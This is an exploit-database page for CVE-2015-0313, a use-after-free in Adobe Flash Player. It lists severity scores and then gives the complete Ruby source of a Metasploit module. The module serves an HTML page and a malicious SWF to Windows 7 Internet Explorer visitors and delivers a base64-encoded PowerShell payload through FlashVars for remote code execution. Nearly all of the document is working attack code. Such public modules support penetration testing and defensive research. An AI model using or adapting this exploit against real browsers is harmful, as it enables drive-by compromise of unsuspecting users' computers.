Adobe Flash Player - ByteArray With Workers Use-After-Free (Metasploit)

2015-03-3100:00:00

Metasploit

www.exploit-db.com

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.7 High

AI Score

Confidence

High

0.973 High

EPSS

Percentile

99.9%

JSON

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'                => 'Adobe Flash Player ByteArray With Workers Use After Free',
      'Description'         => %q{
        This module exploits an use after free vulnerability in Adobe Flash Player. The
        vulnerability occurs when the ByteArray assigned to the current ApplicationDomain
        is freed from an ActionScript worker, who can fill the memory and notify the main
        thread to corrupt the new contents. This module has been tested successfully on
        Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.296.
      },
      'License'             => MSF_LICENSE,
      'Author'              =>
        [
          'Unknown', # Vulnerability discovery and exploit in the wild
          'hdarwin', # Public exploit by @hdarwin89 (all the magic)
          'juan vazquez' # msf module
        ],
      'References'          =>
        [
          ['CVE', '2015-0313'],
          ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-02.html'],
          ['URL', 'http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/'],
          ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2015-0313-the-new-flash-player-zero-day/']
        ],
      'Payload'             =>
        {
          'DisableNops' => true
        },
      'Platform'            => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :os_name => OperatingSystems::Match::WINDOWS_7,
          :ua_name => Msf::HttpClients::IE,
          :flash   => lambda { |ver| ver =~ /^16\./ && ver == '16.0.0.296' },
          :arch    => ARCH_X86
        },
      'Targets'             =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'          => false,
      'DisclosureDate'      => 'Feb 02 2015',
      'DefaultTarget'       => 0))
  end

  def exploit
    @swf = create_swf
    super
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status('Sending SWF...')
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
      return
    end

    print_status('Sending HTML...')
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
  end

  def exploit_template(cli, target_info)
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    target_payload = get_payload(cli, target_info)
    psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
    b64_payload = Rex::Text.encode_base64(psh_payload)

    html_template = %Q|<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=<%=b64_payload%>" />
    <param name="Play" value="true" />
    <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
    </object>
    </body>
    </html>
    |

    return html_template, binding()
  end

  def create_swf
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0313', 'msf.swf')
    swf =  ::File.open(path, 'rb') { |f| swf = f.read }

    swf
  end

end